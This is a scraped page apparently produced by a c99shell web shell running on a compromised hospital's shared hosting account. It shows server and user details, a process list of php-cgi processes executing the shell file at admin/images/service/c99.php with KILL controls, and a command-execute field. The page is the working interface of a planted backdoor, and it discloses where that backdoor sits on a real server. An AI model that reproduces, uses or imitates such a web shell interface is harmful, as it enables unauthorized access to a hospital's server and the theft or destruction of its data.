Software: Apache. PHP/7.3.33 uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) Safe-mode: OFF (not secure) /home/katebhospital/public_html/past/datatable/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
katebho+ | 238515 | 6.5 | 0.0 | 359892 | 36988 | ? | S 09:05 0:00 /opt/cpanel/ea-php73/root/usr/bin/php-cgi /home/katebhospital/public_html/admin/images/service/c99.php | KILL | ||||||||||||||||||||||
katebho+ | 238532 | 6.5 | 0.0 | 0 0 ? R 09:05 0:00 [php-cgi] | KILL | |||||||||||||||||||||||||
katebho+ | 238534 | 6.0 | 0.0 | 359892 | 37072 | ? | S 09:05 0:00 /opt/cpanel/ea-php73/root/usr/bin/php-cgi /home/katebhospital/public_html/admin/images/service/c99.php | KILL | ||||||||||||||||||||||
katebho+ | 238556 | 6.0 | 0.0 | 359892 | 36712 | ? | S 09:05 0:00 /opt/cpanel/ea-php73/root/usr/bin/php-cgi /home/katebhospital/public_html/admin/images/service/c99.php | KILL | ||||||||||||||||||||||
katebho+ | 238585 | 4.0 | 0.0 | 353788 | 22712 | ? | R 09:05 0:00 /opt/cpanel/ea-php73/root/usr/bin/php-cgi /home/katebhospital/public_html/admin/images/service/c99.php | KILL | ||||||||||||||||||||||
katebho+ | 238587 | 4.0 | 0.0 | 355004 | 27020 | ? | R 09:05 0:00 /opt/cpanel/ea-php73/root/usr/bin/php-cgi /home/katebhospital/public_html/admin/images/service/c99.php | KILL | ||||||||||||||||||||||
katebho+ | 238597 | 6.0 | 0.0 | 322648 | 21532 | ? | R 09:05 0:00 /opt/cpanel/ea-php73/root/usr/bin/php-cgi /home/katebhospital/public_html/admin/images/service/c99.php | KILL | ||||||||||||||||||||||
katebho+ | 238663 | 0.0 | 0.0 | 42896 | 2248 ? R 09:05 0:00 ps -aux | KILL | ||||||||||||||||||||||||
katebho+ | 238677 | 0.0 | 0.0 | 4464 | 868 ? D 09:05 0:00 cat /proc/cpuinfo | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1009 ]-- |